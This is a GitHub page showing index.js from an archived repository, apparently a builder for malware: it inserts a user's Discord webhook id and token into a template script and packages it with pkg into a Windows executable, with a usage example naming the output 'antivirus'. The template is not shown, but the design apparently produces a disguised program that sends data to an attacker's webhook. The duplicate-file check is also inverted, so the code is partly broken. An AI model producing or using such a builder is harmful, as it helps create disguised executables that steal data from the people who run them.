This repository has been archived by the owner on May 7, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 101
/
index.js
75 lines (59 loc) · 2.21 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
//Dependencies
const Simple_Exec = require("simple-exec")
const Fs = require("fs")
//Variables
const Self_Args = process.argv.slice(2)
//Functions
async function Main(){
const results = await Simple_Exec.executeSync("pkg -h")
console.log("Checking for duplicate in dist.")
if(!Fs.existsSync(`./dist/${Self_Args[1]}.exe`)){
console.log("Found a duplicate in dist, please try again with another name or delete the duplicate in dist.")
process.exit()
}
if(results.error){
console.log("It looks like NPM package PLG is not installed, please install it.")
process.exit()
}
if(results.output.indexOf("pkg [options] <input>") == -1){
console.log("It looks like NPM package PLG is not installed, please install it.")
process.exit()
}
console.log("Putting the discord webhook link.")
var main_data = Fs.readFileSync("./requirements/index.js", "utf8")
main_data = main_data.replace("wid", Self_Args[0].split("/")[Self_Args[0].split("/").length-2])
main_data = main_data.replace("wtoken", Self_Args[0].split("/")[Self_Args[0].split("/").length-1])
console.log("Cloning for temporary.")
Fs.writeFileSync("./requirements/temp_index.js", main_data, "utf8")
console.log("Building, please wait...")
const build_results = await Simple_Exec.executeSync(`pkg requirements/temp_index.js -t ${Self_Args[2]} -o dist/${Self_Args[1]}.exe`)
if(build_results.error){
console.log("Something went wrong while building, please make sure the arguments are valid.")
process.exit()
}else{
console.log("Successfully built.")
console.log("Removing temporary file.")
Fs.unlinkSync("./requirements/temp_index.js")
console.log("Finished.")
process.exit()
}
}
//Main
if(!Self_Args.length){
console.log(`node index.js <webhook_link> <output_name> <node_and_os>
Example: node index.js yourwebhooklink antivirus node14-win-x64`)
process.exit()
}
if(!Self_Args[0]){
console.log("Invalid webhook_link.")
process.exit()
}
if(!Self_Args[1]){
console.log("Invalid output_name.")
process.exit()
}
if(!Self_Args[2]){
console.log("Invalid node_and_os.")
process.exit()
}
Main()